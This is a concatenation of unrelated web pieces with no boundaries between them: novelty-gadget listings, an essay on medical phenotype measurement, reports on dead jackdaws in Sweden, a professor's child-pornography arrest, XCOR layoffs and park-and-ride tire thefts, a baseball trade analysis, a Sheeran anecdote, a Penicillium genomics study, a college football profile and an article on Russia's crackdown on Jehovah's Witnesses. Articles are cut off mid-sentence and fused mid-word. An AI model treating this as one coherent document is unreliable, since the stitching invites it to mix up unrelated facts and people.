Modern Single Handle Waterfall Bathroom Vanity Vessel Sink LED Faucet, Chrome
Add some high tech style to your home faucet with this temperature sensitive LED Faucet. The color of the lighting changes depending on the temperature of the water that is coming out: blue means the water is cold, green means the water is hot, red means the water is very hot. View Details
Fred and Friends Gin and Titonic Ice Cube Tray
Add a touch of class to every drink with the Titanic ice cube mold, and relive the glorious failure that was the Titanic. Included in this Titanic ice cube mold are the molds for the titanic ship and the merciless iceberg. View Details
Cool Black 48″ Umbrella W/ LED Light Up Shaft
Stay dry and lit up with this LED Light Up Umbrella. This umbrella features an LED shaft that lights up with multiple colors. At 36 inches long this light up umbrella is perfect for rainy nights or to put together a Blade Runner style costume. View Details
Uncle Milton Moon In My Room
Enjoy a full moon every night and keep your bed room lit up with the Moon Wall Light. This bed room light has a built in sensor that activates the Moon’s illumination when the room starts getting dark and makes a cool gift for a kid’s room. View Details
Peekaru Original Fleece Baby Carrier Cover Medium – Black
Carry your newly born baby with ease thanks to the Peekaru hands free baby carrying jacket. The Peekaru is a cool gift idea for parents who live active lifestyles and want the ease of carrying around their baby while still being able to use their hands freely. View Details
Jedi Dressing Gowns – Star Wars Bath Robes
Nobody likes a smelly Jedi, so keep clean and dry yourself off after a nice cleansing shower with these Jedi Bath Robes. These Jedi Bath Robes are officially licensed Star Wars Bath Robes and come in a one size fits all.. even Jabba himself could fit in this robe. View details
Magnet Balls Original Edition – Magnetic Earth Magnet Puzzle in Collector’s Tin
These magnetic balls are a very cool toy for people of all ages. The array of designs you can come up with is pretty impressive using these magnetic toy balls. Even more fun is when you order multiple magnetic toy balls and create one giant magnetic ball of devastation! View Details
Toilet Seat Lifter
This toilet seat pedal is a brilliant solution to end fights over leaving the toilet seat up and down. Just like a regular trash can pedal, you step on the pedal to lift up the toilet seat, and remove your foot when you are done and the toilet seat slowly drops back down. View Details
Enjoy!
P.S. Some info and photos from – thisiswhyimbrokePhenotype is how something looks, acts, or behaves; in contrast to DNA sequence, which is fundamentally discrete and universal, phenotype tends to be much "messier," more challenging to reliably assess. Two investigators across the world can easily agree on the exact DNA sequence within a specific cell, say, but might come to very different conclusions about how the cell behaves in culture.
The greatest challenge may also be the most important: measuring complex human phenotypes, such as how a patient is experiencing a particular disease, or responding to a given treatment. Too often, and quite understandably, the approaches used by physicians and medical researchers have been relatively simple, episodic assessments -- measuring a patient's blood sodium, or blood pressure, for example, at the time of an annual physical. Such evaluations can provide important and useful information, but rarely capture the complexity of a patient's health and experience over time.
We envision improved measurement of phenotype as the underlying basis for the next generation of medical progress. Improved measurements of patients can guide -- immediately -- the treatment approach used by physicians, who often have very little visibility into what happens after a patient leaves the office. Better measurement can also guide medical product development, focusing attention on a patient's true unmet needs.
The FDA, to its credit, has recognized the need for improved measurement, and has been an early champion of the need for better "assessment science." Speaking at a conference on the subject last year, the director the FDA's Center for Drug Evaluation and Research, Dr. Janet Woodcock, noted (PDF, p.13) that "the identification, development, and qualification of new clinical trial outcome assessments has not been aggressively pursued by the scientific community," adding that "the consequent lack of assessment tools has been impeding, I think, the development of new drugs because we really, in many cases, don't know how to measure the impacts, both for good and ill, of the drugs we test in people."
The ability to measure with greater precision the real-world impact of a patient's illness would also enable improved assessment of the impact of both treatment approaches and of the providers themselves, giving us an opportunity to better assess the value of each, and to enable the iterative improvement of patient care and health delivery.
The improved measurement of complex patient phenotypes will also provide enormous benefit to basic researchers, enabling them to link this new information with existing, rich genetic data to form coherent datasets that can help identify key underpinnings of disease, and enable researchers to develop more targeted, and in many cases more personalized, interventions. Integrated datasets will also fuel increasingly sophisticated computer-driven "in silico" modeling approaches, capturing the benefits of empiric, "big data" technologies and approaches already used to great effect in other industries and disciplines.Shortly before midnight on Tuesday, residents found 50 to 100 jackdaws on a street in Falköping southeast of Skövde. The incident echoed a number of unexplained incidents earlier this week across the southern US.
County veterinarian Robert ter Horst believes that the birds may have been literally scared to death by fireworks set off on Tuesday night.
"We have received information from local residents last night. Our main theory is that the birds were scared away because of the fireworks and landed on the road, but couldn't fly away from the stress and were hit by a car," he explained to The Local on Wednesday.
He added that they likely had difficulty orienting themselves in the dark and although they have received one report involving a vehicular collision with the birds, ter Horst believes they may have been hit by more.
"We will continue to look at whether there are other theories, but then we have to do an autopsy on the birds. The birds just now are in a car on the way to a laboratory in Uppsala. We don't know exactly what happened yet, but we will continue the investigation," he added.
ter Horst noted that he has also received some reports about pigeons, but the incident has happened too quickly to assume that it is related to the untimely demise of the jackdaws.
The site where the birds were found has now been blocked for a veterinary inspection of the birds. Emergency services had cordoned off the area earlier on Wednesday.
According to Sveriges Radio Skaraborg, these are between 50 and 100 dead birds.
Anders Wirdheim of the Swedish Ornithological Society (Sveriges ornitologiska förening, SOF) believes the jackdaws likely were frightened in the middle of the night, then flew around in the dark and collided with various objects.
"Jackdaws spend the night in trees in large flocks. If they are frightened, hundreds of birds could take flight at once," he told TT.
Wirdheim noted that the affected bird species in the US are also those who spend the night in large flocks. He added that the birds' situation may have aggravated because they are weakened.
"This winter has been unusually tough and jackdaws may be in poor condition. That makes it easier for them to fly into different objects. There is very little food in the wild compared with previous years and I see dying birds every day," he said.
Olov Andersson, the director of communications at the National Veterinary Institute (Statens veterinärmedicinska anstalt, SVA) in Uppsala, said the samples will arrive in several hours by delivery service depending on the weather.
He added that he hopes the animals are not crushed by car wheels or injured by cats and dogs. The animal carcasses will be examined anatomically. Bacterial and viral samples will be taken, as well as tests for avian flu.
"We may have results late on Friday or early next week," he said.
On New Year's Eve, an estimated 4,000 to 5,000 blackbirds tumbled from the sky on an Arkansas town shortly before midnight on New Year's Eve.
Separately, 500 birds plummeted to the ground 580 kilometres away in Louisiana on Monday and a Kentucky woman reported finding dozens of dead birds in her yard.
Speculation on the causes of the US bird deaths has ranged from fireworks, the weather, noxious fumes or a "sonic boom."
In addition, up to 100,000 dead and dying drum fish have washed up in the Arkansas River and tens of thousands of dead fish have been found in the Chesapeake Bay in Maryland.CINCINNATI – A University of Cincinnati professor is facing child porn charges, the FBI confirmed for WCPO Tuesday.
Holt N. Parker, 59, was arrested by FBI agents and the Violent Crimes against Children task force at his Clifton home Tuesday morning, the FBI said.
UC released this statement to WCPO:
"The University of Cincinnati has learned today that Holt N. Parker, a professor in Classics, has been arrested on child pornography charges. The University takes these charges very seriously and is cooperating fully with authorities. Per University policy, Parker has been suspended from his position, barred from University property, and is to have no contact with students."
Parker is charged with one count of distribution and receiving child porn and one count of destruction of property to prevent seizure, the FBI said.
Parker has worked at UC since 1991. He holds a PhD in Classics from Yale University, according to his bio on the UC website. He specializes in gender studies, literary theory and linguistics and has published on sexuality, slavery and sadism, among other subjects.
Some students on campus Tuesday said it was unnerving to hear that a professor had been charged with having child pornography.
Hailey Pinkerton, a third-year student, said she was "definitely disgusted."
"Uncomfortable to say the least, especially because a lot of the professors here have very personal relations with the students," Pinkerton said.
"It's just something very unexpected and something you wouldn’t think to see around here.”
"It’s just kind of weird," said Naomi Hardin, a third-year student, "like you’d think that they’d be professional in the classroom and they’re there to teach you, not to be caught doing things like that.
"It's kind of gross."
Holt appeared in federal court Tuesday afternoon. He will have a detention hearing Wednesday.The Cardinals are trying to trade for Giancarlo Stanton. They’ve made no secret of their off-season plan to consolidate some of their young talent into a trade for an impact hitter, and Stanton seems to be Plan A. But they aren’t the only team trying to trade for the reigning NL MVP, and reports have suggested the Giants might be the most aggressive bidder so far. Additionally, Stanton might have some preference for playing on the west coast, and since he has a full no-trade clause, Stanton could just veto a trade to STL if he thought he had some chance of going to SF instead.
So the Cardinals might want Giancarlo Stanton and even line up best with the Marlins in a trade, but that doesn’t mean it’s going to happen. And thus, the Cardinals should have some kind of Plan B. So let me suggest that, while the Blue Jays continue to say they aren’t trading their star player, the Cardinals should be pestering Mark Shapiro and Ross Atkins about making a deal for Josh Donaldson.
Because a Donaldson-to-STL trade might make even more sense than a Stanton trade.
The Cardinals already have average-ish players penciled in at every spot on the infield, with Jedd Gyorko (+2.2 WAR), Paul DeJong (+2.4 WAR), Kolten Wong (+2.1 WAR), and Matt Carpenter (+2.6 WAR) slotted in at third base, shortstop, second base, and first base respectively. The presence of the first three is what pushes Carpenter to first base, which blocks off playing time for Jose Martinez and Luke Voit, each of whom showed some promise last year, and might deserve an expanded role in 2018. So, on one hand, one could argue that a Donaldson fit in St. Louis is tougher than a Stanton fit, since the team is already set with decent players at each spot, plus a desire to find room for depth guys who don’t currently have regular jobs.
On the other hand, this depth is exactly what makes a trade with the Blue Jays potentially viable, because the Jays have made it clear they aren’t interested in a rebuild style of trade, and would probably need to be convinced that they weren’t abandoning 2018 in order to deal away their best player. And since the Cardinals have excess infielders with some legitimate 2018 value, there might be a deal here that legitimately helps both teams.
If the Jays trade Donaldson, they’d obviously have a hole at third base, at least until Vladimir Guerrero Jr. is ready for the majors. But with the durability issues of Devon Travis and Troy Tulowitzki, the team also needs protection at both middle infield spots, and Travis’ problems in particular mean they probably need a guy who could effectively play second base everyday if (or when) Travis gets hurt again. So, realistically, the Blue Jays need to add an infielder this winter, and if they’re subtracting Donaldson, that would mean they’d need to bring in two new infielders to fill out their roster.
And that makes these two teams a particularly good fit as trade partners, because it’s not too hard to put together a package of players from St. Louis that would fit Toronto’s needs pretty well, while also allowing the Cardinals to consolidate their Major League depth without having to destroy their farm system in a trade for a rental. Let’s look at what that kind of deal might look like for both sides.
Gyorko is the guy who probably makes the most sense for Toronto in any Donaldson deal, given his experience at 3B, SS, and 2B. The Jays could slot him in as Donaldson’s replacement to begin the year, but if Guerrero forces his way to the big leagues — as Rafael Devers did last year — then he could easily be the middle infield alternative for when Tulo and Travis aren’t healthy. His positional flexibility makes him an ideal fit for the Jays roster, and thus I’d imagine he’d probably be required in any deal Toronto would be interested in making.
But Gyorko isn’t the only Cardinal who would fit well in Toronto. Matt Carpenter also looks like a guy who could give the Blue Jays significant flexibility, and a Gyorko/Carpenter package offer for Donaldson could be the kind of win-win deal that might help both sides.
From Toronto’s perspective, trading Donaldson for Gyorko and Carpenter would give them a projected starting infield of Gyorko, Tulowitzki, Carpenter, and Justin Smoak, with Travis around to play second against some tough lefties until he proves durable enough for an expanded role. And, perhaps just as interestingly, it gives the team significantly better alternatives for when Tulowitzki isn’t in the line-up.
Right now, we project the Jays to get 350 replacement-level plate appearances from Ryan Goins and Richard Urena, and that’s with a very optimistic 525 PA projection for Devon Travis; most of those extra at-bats could end up going to Gyorko instead, with Carpenter shifting to third base to give Travis regular time if he proves healthy, or simply promoting Guerrero to the big leagues if he dominates the higher levels of the minors to begin the year. With Gyorko and Carpenter’s ability to move around the infield, Travis and Guerrero could effectively replace Goins and Urena, giving the team a significantly higher potential for infield production when Tulo isn’t healthy.
And while turning Donaldson into two lesser big leaguers might not be the most popular decision, I think the 2018 Blue Jays might be just as good with Gyorko and Carpenter as they would be with Donaldson.
For one, Carpenter is probably more valuable as a second or third baseman than a first baseman, so his value would be higher in Toronto than his +2.6 WAR forecast in STL would suggest. Playing second or third base, it’s not hard to imagine Carpenter putting up a +3 to +4 WAR season, especially if he’s recovered from the shoulder issue that bugged him throughout 2017. Instead of turning Donaldson into two of the Cardinals average players, a healthy Carpenter — playing the positions that he brings the most value at — could be more like trading Donaldson for a still-very-good player and a nice second piece.
The deal also works well for Toronto beyond 2018. By moving Donaldson and getting a couple of guys who can play other infield spots, third base becomes Guerrero’s spot whenever he’s ready for it. And they’d have all kinds of flexibility for 2019 and 2020, with four potential middle infielders available to share 2B/SS, or Carpenter could flex back over to first base if Justin Smoak goes back to being pre-2017 Justin Smoak. Or, if everyone stays healthy and plays at a high level, they’d have an alternative to running Kendrys Morales out there everyday. More likely, Tulo and Travis show they aren’t able to be counted on as everyday players, and the team could run out Gyorko and Carpenter up the middle with Guerrero and Smoak as the corners, with Tulo around for when the team would rather put their best defensive team on the field.
Salary wise, Gyorko and Carpenter will combine to make about the same amount Donaldson will make in 2018, so it’s not a big financial shift for either team’s budget. The Blue Jays take on $28 million in committed salary in 2019, but for two players who would earn more than that in free agency, and get options on both for 2020 if they remain productive. In the best case scenario for Toronto, they turn one year of Donaldson into six years of Gyorko and Carpenter, and probably don’t get significantly worse in the short-term to get that long-term upgrade.
For the Cardinals, the extra years of control at value-but-not-bargain prices aren’t as necessary, since the team has in-house alternatives ready to go. If they swapped Gyorko and Carpenter for Donaldson, their 2018 infield would be Donaldson-Dejong-Wong-Martinez, with Voit around as a potential platoon partner for Martinez if they don’t think he’d succeed in an everyday role. That’s pretty clearly a better group than they’ll run out as is, as consolidating value into one roster spot allows some decent players to take on expanded roles.
If the Cardinals didn’t win in 2018 and Donaldson walked at the end of the year, the deal could backfire on St. Louis, since they’d enter the year without an obvious third baseman. But given their history of developing decent players out of nowhere, the Cardinals can probably run that risk in order to get Donaldson’s value for this coming year, plus the right to try and sign him long-term before he hits free agency.
Given his age, Donaldson isn’t going to get the $295 million that Stanton is still owed on his contract, and the reality is that he’s just a better overall player, so landing Donaldson and signing him for something like $200 million might be a better investment than giving up significant young assets to convince the Marlins to pay down Stanton’s deal to that level. Obviously, Stanton is younger, but his long-term value is also diminished by the opt-out clause in his contract, since if he stays healthy, you’re only getting him for three years before he hits free agency. And Donaldson can’t veto a trade to St. Louis, like Stanton can.
The Cardinals might very well be better off giving up pieces off their Major League roster to land Donaldson than they would be trading impact prospects for Stanton. The Blue Jays may very well be better off turning Donaldson into multiple solid players who can help the team both now and beyond 2018. While Stanton is getting all the attention, it seems to me there might be a better win-win deal between St. Louis and Toronto than St. Louis and Miami.Report: XCOR to lay off remaining employees Aerospace company hits another bump since its arrival in Midland in 2012
This undated image provided by XCOR shows the XCOR Lynx, a suborbital horizontal-takeoff, horizontal-landing, rocket-powered spaceplane under development by the California-based company XCOR. Space tourism companies are employing designs including winged vehicles, vertical rockets with capsules and high-altitude balloons. While developers envision ultimately taking people to orbiting habitats, the moon or beyond, the immediate future involves short flights into or near the lowest reaches of space without going into orbit. (XCOR via AP) less This undated image provided by XCOR shows the XCOR Lynx, a suborbital horizontal-takeoff, horizontal-landing, rocket-powered spaceplane under development by the California-based company XCOR. Space tourism... more Photo: HONS Photo: HONS Image 1 of / 1 Caption Close Report: XCOR to lay off remaining employees 1 / 1 Back to Gallery
Less than five years after taking part in a ceremony to announce the creation of XCOR’s new Commercial Space Research and Development Center headquarters in Midland, a report from the space industry blog parabolicarc.com indicates that XCOR has laid off its remaining employees in Midland and the aerospace community of Mojave, California.
“Due to adverse financial conditions XCOR had to terminate all employees as of 30 June 2017,” the company said in a statement as reported by parabolicarc.com on Wednesday. “XCOR management will retain critical employees on a contract basis to maintain the company’s intellectual property and is actively seeking other options that would allow it to resume full employment and activity.”
In 2012, XCOR and the Midland Development Corp. agreed to a $10 million economic development deal to create 100 jobs in Midland.
The news of the layoffs comes less than a month after then-President and CEO Jay Gibson announced he was leaving the company because he had been nominated deputy chief management officer for the Department of Defense.
Gibson said Wednesday that he left XCOR on June 27 and has not been involved with the company since his departure.
“We had our challenges and had everything committed and our runway ahead of us,” Gibson said.
XCOR hired Gibson in March 2015 to replace founder Jeff Greason.
In May 2016, according to the parabolicarc.com report, XCOR laid off about 25 employees — roughly half of its workforce — and suspended work on the Lynx. XCOR’s intent was to launch the Lynx from Midland International Air & Space Port, which received its FAA spaceport license in September 2014.
XCOR has since refocused its energies on its rocket engine work, according to the parabolicarc.com report. The company had been working on an upper stage for United Launch Alliance’s Vulcan launch vehicle.
“It is a disappointment to learn about these layoffs that are being made by XCOR,” Brent Hilliard, chairman of the Midland Development Corp. board, said Wednesday. “The Midland Development Corp. has a meeting scheduled with XCOR at 1:30 p.m. (today) where these matters -- along with other potential concerns that may arise out of the decision to lay off its employees -- will be addressed.”
One matter likely to be addressed will be the economic development deal. In 2012, the city and XCOR agreed to a deal that moved XCOR’s corporate headquarters from California to Midland. The incentive package provided $2 million to the company for creating its headquarters in the Tall City, $3 million toward lease payments and capital improvements at an existing hangar and $5 million in performance incentives. The company, in turn, agreed to create an eventual payroll of $12 million in Midland and to invest at least $4 million in an existing hangar, according to a 2012 Reporter-Telegram article.There will be tighter security at a northern Virginia commuter lot after vandals stole tires off cars there for a third time. News4 was the first to report on the thefts last month, and it happened again on Friday. Northern Virginia Bureau Chief Julie Carey reports from the Horner Road Park and Ride on how police are responding to commuters' call for action. (Published Monday, Oct. 19, 2015)
Prince William County Police plan to step up patrols and deploy temporary, mobile cameras in a park-and-ride lot that's been targeted three times by thieves. The target: Expensive tires.
Two car owners returned to the Horner Road Park & Ride Lot#5 Friday after work to find their vehicles propped up on landscaping blocks, all four tires missing. One of the men had just bought his new Mustang in August.
"I always worried about dings in the door. I never once thought about the rims being stolen," said John, who did not want his last name used.
It's the third time in five months the lot has been hit. Vernon Londagin was one of four victims May 28.
"I got a rude awakening. I pulled up around 4:15 p.m. and see the car sitting on milk crates. It was one of four hit that day," said Londagin.
On top of the tires being stolen, there was also significant damage to the frame and undercarriage.
In early September, four more cars were left without tires. Windows were also broken out of some of them.
Jeanette Whiten has slugged from the Horner Road Park & Ride for 15 years.
"We've always been proud we've never had problems with slugging coming home, and then to have something like this happen is really sad," said Whiten.
Commuters who have heard about the tire thefts also fear what could happen if someone interrupts the thieves or sees what they are doing.
"If you are waiting (to commute) and see somebody actually committing the crime and you are a witness, they may try to do something to you," worried Whiten.
She and Londagin believe VDOT, which owns the lot, should install security cameras.
But a VDOT spokeswoman said there is not a plan to do that. The VDOT cameras only capture real-time events. They do not record.
But Prince William County police do have a plan to address commuters' concerns. Spokesman Jonathan Perok said police plan to increase patrols, both with marked cruisers and plainclothes officers. The temporary, mobile cameras will also be used."That was one of those 'what the fuck' moments"
Ed Sheeran has revealed an incident in which he got ‘hammered’ and ‘cracked Justin Bieber right in the cheek with a golf club’.
Sheeran, who famously wrote Bieber’s hit ‘Love Yourself’, is set to release his third album ‘÷’ tomorrow. Speaking to The Guardian, he told the story of how a trip to Japan took a rather unfortunate turn.
“We’d been out to a dive bar. He just drank water and I got hammered,” recalled Sheeran. “Then we went to a golf course, and he lay on the floor and put a golf ball in his mouth and told me to hit it out of his mouth. I was like, ‘Fuck, I need to aim this properly,’ and I swung. And you know in films when someone gets punched, and you hear that fake sound, like a slap? But in real life when someone gets punched, you hear that dull thud, a bit sickening? I heard a sound like the last one, and saw his security guard looking at me like…
Sheeran added: “I’d cracked Justin Bieber right in the cheek with a golf club. That was,” he concludes, “one of those ‘What the fuck?’ moments.”
Dave Benett/WireImage
Sharethrough (Mobile)
Browse Ed Sheeran Merch in the NME Store.
After appearing with Stormzy for a huge performance at the Brit Awards 2017, Sheeran remains a favourite to headline Glastonbury this summer alongside Radiohead and Foo Fighters.
Pick up this week’s free NME for our cover story – ‘Everything You Need To Know About Ed Sheeran’
Meanwhile, his upcoming UK and Ireland tour dates are below. Tickets are on sale here.
London, Royal Albert Hall (March 28)
Dublin, 3 Arena (April 12, 13)
Glasgow, The SSE Hydro (16, 17)
Newcastle, Metro Radio Arena (19, 20)
Manchester, Arena (22, 23)
Nottingham, Motorpoint Arena (25, 26)
Birmingham, Barclaycard Arena (28, 29)
London, The O2 (May 1, 2)Penicillium chrysogenum fungus culture in a Petri dish. Geoff Tompkinson/Getty Images
A treasure trove of medicinal compounds could still be lurking within the fungi that revolutionised modern medicine through the use of antibiotics, according to a new study published in Nature Microbiology.
Penicillin, derived from the Penicillium fungi, became the first mass-produced antibiotic in the 1940s. Antibiotics have since saved millions of lives, but their efficacy against bacterial infections is waning, due to rampant overuse leading to potentially catastrophic antimicrobial resistance. Some estimates predict 10 million human fatalities a year by 2050 due to antibiotic ineffectiveness.
Yet the answer to this nightmare scenario may well lie in remining the veins of the Penicillium fungi, which bio-prospectors hunting for the next pharmaceutical blockbuster have to date largely overlooked despite it also being the source of other useful drugs including cholesterol-lowering statins.
There are more than 300 species of Penicillium fungi – organisms found in everything from soil to cheese. The new work led by Jens Nielsen at Chalmers University of Technology in Gothenburg, Sweden, took a deep dive into the genomes of 24 of those species – nine newly sequenced for the study.
The researchers looked for gene clusters that provide blueprints for synthesising secondary metabolites, like penicillin. Secondary metabolites aren’t essential to a fungus’s growth and development but give it an edge in fending off other microbes, or when invading a plant’s tissues during infection, for example. Many secondary metabolites aren’t readily isolated from lab-grown fungi, because the cues needed to switch on production aren’t yet understood.
Genome mining gets around this.
By scanning for genes that make the core scaffolding of some common secondary metabolites, the researchers identified entire gene clusters containing instructions for enzymes that decorate the scaffolding. Each cluster did so in a slightly different way, producing diverse chemical structures.
The study netted more than 1,300 biosynthetic gene clusters across the 24 genomes, an average of more than 50 per species. About 250 were unique to a single fungal species.
The surprising number of secondary metabolite clusters identified, says Nielsen, “demonstrates the untapped potential of filamentous fungi”.
In about 90 cases, Nielsen’s team was able to predict the molecules the clusters made.
For one compound, an anti-fungal called yanuthone, the team connected the dots from gene cluster to product by identifying yanuthone in extracts from two species not previously known to produce it.
“This is a very exciting area of research,” says synthetic biologist Yit Heng Chooi from the University of Western Australia, who was not involved in the study. “The future of drug discoveries is definitely moving in this direction where we're trying to use a more genomics-based approach to discover small molecules from micro-organisms.”
With so many gene clusters identified, Chooi says the challenge will be how to prioritise which pathways to study further.
Nielsen’s team can now transplant entire gene clusters into yeast cells to study the compounds they synthesise in a system free of other secondary metabolites. Enzym |
take my grandkids to an actual Jurassic Park one day. But ultimately it doesn't really matter what this author thinks is right or wrong about it. It's happening already in early stages and will speed up with biotech like CRISPR and rapid advancements in gene modifications like germ line gene therapy and gene splicing.
If you start moralizing science, you end up inhibiting progress and whatever comes with it, good or bad or both. If there are those that demonize and fear GM then there will be those that sympathize and push for it. That oppositional psychology is just an integral part of who we are as a species and so to me it's not a question of if, it's when. Hopefully, we won't get eaten by dinosaurs or enslaved by supermen, but if we do, it's part of our story, and our time on Earth; our evolution.Arizona's Khalil Tate spins free of defenders and gains the final 31 of his 327 rushing yards for the game which set an FBS record for quarterbacks. (0:37)
TUCSON, Ariz. -- College football learned the name Khalil Tate right about the time his opponents did.
"Well, I didn't even know his number if I'm going to be honest," Colorado's Ryan Moeller said three weeks ago. "We were expecting a different guy to back up and someone else came into the game."
Once he was in, Colorado coach Mike MacIntyre had a simple plea.
"Would somebody please tackle No. 14 for Arizona?"
Tate, coming off the bench, decimated the Buffaloes. He rushed for 327 yards, a record for a quarterback, and four touchdowns. He added another 142 yards through the air and another score.
Suddenly, #Pac12AfterDark had its newest must-see star.
And it almost never happened.
When Arizona quarterbacks coach and co-offensive coordinator Rod Smith first watched Tate's high school film, he had mixed emotions. On one hand, he was blown away by his talent and knew he would be a good fit in the Wildcats' system. On the other, Tate went to famed Serra High in Southern California, which Smith knew to have a strong pipeline to USC.
"I was like, 'Do we even have a shot at this kid?'" Smith said. "Will he even give us a sniff?"
Several programs recruited Khalil Tate as an athlete, not guaranteeing a chance to play QB. Tom Hauck for Student Sports
Tate succeeded Jalen Greene as the quarterback at the powerhouse school. They grew up around the corner from each other, and he paid close attention to Greene's recruitment. USC signed Greene as a quarterback but eventually moved him to receiver. When Tate started being recruited by then-USC coach Steve Sarkisian, he was told they wanted him as an athlete. Then, when Clay Helton took over, he was told they saw him as a quarterback.
As a senior at Serra, Tate rushed for 2,130 yards and passed for 2,036 and ended the season as ESPN's No. 10-ranked dual-threat quarterback in the country.
"Being so close to Jalen. I kind of knew that I wasn't sold on it," Tate said. "Someone I grew up with, one of my best friends, he went to play quarterback and then so-called switched. So I'm like, 'I'm not too sold on that.'"
Among the other schools he considered was Texas A&M, but after watching Kyle Allen and Kyler Murray transfer and the quarterbacks coach leave, that didn't smell right either. As his recruitment played out, it became clear that Arizona, which made it very well known it wanted him as a quarterback, was the right fit.
"Khalil is a pretty sharp kid," Smith said. "He can smell through someone's B.S. He was good and stayed true to his word, and we did too."
Arizona coach Rich Rodriguez was sitting in his office on the Monday afternoon prior to the Colorado game when Tate came to visit.
Rodriguez has an open-door policy, so this wasn't necessarily outside the norm, but he could tell right away something weighed heavily on Tate's mind.
The sophomore QB wanted to play and wanted to see what he could do to make that happen. To that point, Tate's season hadn't gone according to plan. He sprained his shoulder in the season opener against Northern Arizona, and though he played the next week against Houston, he probably shouldn't have. He didn't play the next two games or practice the next three weeks as he worked his way back to full health.
play 0:32 Tate dazzles with 76-yard TD run QB Khalil Tate, who became Arizona's starter just two weeks ago, runs for his FBS-best third touchdown of at least 70 yards.
Rodriguez's message was honest and simple: Practice better. Show up during practice healthy and ready. The coaching staff knew he was talented, Rodriguez told Tate, but to justify more snaps, they needed to see him perform during the week.
"It was hurting him because he thought he could help us win, which I can appreciate," Rodriguez said. "... That week after that he was possessed in practice. He was healthy. He was showing everything."
There was still no way Rodriguez could have predicted what happened in Boulder that week. It would have been unreasonable to expect his backup quarterback to turn in one of the best performances by a quarterback in college football history.
In fact, it took a fluky set of circumstances for Tate first get on the field against the Buffaloes. Starting quarterback Brandon Dawkins took a late hit out of bounds from a Colorado defender and needed to come out. The injury wasn't serious -- he was fine to enter a short while later -- but it provided Tate the opportunity he needed.
"I was watching and I was zoned in," Tate said. "When he got hurt, it was unreal because it happened so fast. Rich Rod said, 'Come on out.'"
The Wildcats fumbled two plays later, but after their defense forced a three-and-out to get the ball back, Tate's magical game really began. He kept it on a zone-read on the first play of the next drive and went 58 yards for a touchdown. He ran for a 28-yard score on the following drive.
"About [Tate's] fourth time out there," MacIntyre said, "I was like, 'Crud, I don't think we'll ever get this kid down.'"
Arizona scored touchdowns on six of its first seven drives with Tate at quarterback, and by the time it was over, he had a record and finished the game with a perfect QBR of 100. More importantly, Arizona won 45-42.
"[Dawkins] was OK, but this guy is going crazy," Rodriguez said. "Why am I going to take him out? It's like when you have a guy hitting all the 3-pointers. You have to leave him in. Brandon was ready to go, but Khalil took the job and literally ran with it."
In the month of October, Tate, who turned 19 on Monday, has been without question the most productive player in college football.
A week after his sensational breakout game against Colorado, he ran for 230 yards and threw for 148 and racked up three more touchdowns in a 47-30 win against UCLA.
"That young man is dynamic, and he changes the game," said UCLA's Jim Mora after Tate destroyed the Bruins' defense. "You have to defend him every single play. He makes you miss, and when he gets in the open field he is spectacular. He has had two tremendous games in a row. We put all our energy into stopping him, and we did not get it done."
And last week, he led the Wildcats to a 45-44 double-overtime win against Cal. It was a tougher outing for Tate who only accounted for 303 total yards and three touchdowns, but ran for over 100 yards in the first half making it five straight halves he eclipsed that number. His presence is also opening things up for other Wildcats. Running back Zach Green ran for 130 yards and the go-ahead touchdown in overtime with many of his yards coming off zone-option plays.
"Obviously, pump the breaks a little bit because he's only started a couple games," Rodriguez said. "But he's taken advantage of his chance, and that's cool to see."
What Tate was never supposed to do was play early in his college career.
Tate has close to 700 yards rushing in the month of October alone. Russell Lansford/USA TODAY Sports
When he arrived in Tucson last year, he was just 17 years old and raw fundamentally. Plenty of kids his age were still juniors in high school. The Wildcats had a two-year starter returning in Anu Solomon, plus a redshirt sophomore in Dawkins. The plan was to let him redshirt, but by the fifth game of the season the Wildcats were so decimated by injuries they had no choice but put him in.
Tate came off the bench in losses to UCLA and Utah and made his first career start as Arizona hosted USC, the eventual Rose Bowl champion. None of these games went well for Tate, or the Wildcats. He wasn't ready and the team went on to lose its first eight Pac-12 games of the season.
Looking back, though, Tate says taking his lumps last year made the past three weeks possible.
"It helped, because I knew what it was like to come off the bench," he said. "I tried to use it to my advantage. Say I would have redshirted last year. I wouldn't have known how to come in against Colorado because it would have been my first time. It really helped a lot getting those few reps."
Now, in three weeks' time, Tate has 694 yards rushing this month -- 100 more than the next best player in the country (Wisconsin's Jonathan Taylor), and his QBR (99.5) is unmatched by any quarterback. And despite starting just two games, Tate still has 23 more rushing yards this season (780) than Penn State's Heisman Trophy front-runner Saquon Barkley (757). On his seven touchdown runs this year, he's averaging 57.1 yards per carry and has a touchdown run of 70-plus yards in the past three games.
Tate's smashing debut has drawn comparisons to other Rodriguez protégés such as Pat White at West Virginia and Denard Robinson at Michigan. They're all different, of course, but Rodriguez said Tate doesn't have the same pure speed as White or Robinson. It's his rushing numbers that have brought national attention, but it's what he can do with his arm as well, Rodriguez said, that makes him especially unique.
"He can throw it 70 yards, but some guys who can throw it 70 throw a 20-yard pass like he's throwing it 70," Rodriguez said. "He's got as a good a touch on the deep ball as anybody I've had. He has a natural throwing motion."
Now the Wildcats' season gets a lot tougher. Arizona (5-2, 3-1 Pac-12) hosts No. 15 Washington State (7-1, 4-1) on Saturday followed by a trip to No. 21 USC. But after a month when Tate was launched into college football stardom and left conference coaches in awe, it was right on script for at least one future opponent.
USC defensive lineman Oluwole Betiku was in Tate's class at Serra.
"I've seen it before, so I'm not impressed," Betiku said. "I saw him do it all through high school, so I'm just seeing Tate be Tate. They finally gave him the ball, and he's doing what Tate does."Dennis Christensen, shown in a file photo, was arrested May 25, 2017, in Oryol, Russia, in a raid by police and security agents on a worship service by Jehovah's Witnesses, according to the group's spokesperson in New York. (Photo11: Courtesy of Jehovah's Witnesses)
Teachers have humiliated Jehovah’s Witness children in front of their classmates. Arsonists have burned Witnesses’ homes. Security forces have raided their meeting halls.
Since the Russian Supreme Court on April 20 declared the Jehovah’s Witnesses an extremist group, its members have faced increasing harassment from both authorities and suspicious neighbors.
And last week, for the first time since the decision, a Jehovah’s Witness has been not only detained by police, but jailed by a judge.
“He read the Bible. That’s why he was arrested,” said Yaroslav Sivulskiy, a representative of the Jehovah’s Witnesses in St. Petersburg.
For about a month the Witnesses had not felt the full force of the court decision, which calls for the liquidation of the Jehovah’s Witnesses organization — not only its Russian headquarters in St. Petersburg, but the 400 or so Kingdom Halls where more than 100,000 Jehovah’s Witnesses across the nation meet.
Yet worship had continued at many of these Kingdom Halls.
Within the past few weeks, however, intensifying persecution has prompted most congregations to move group worship to private homes, Sivulskiy said.
Most worrisome to many Witnesses are the recent instances in which schoolteachers, principals and police have turned on children.
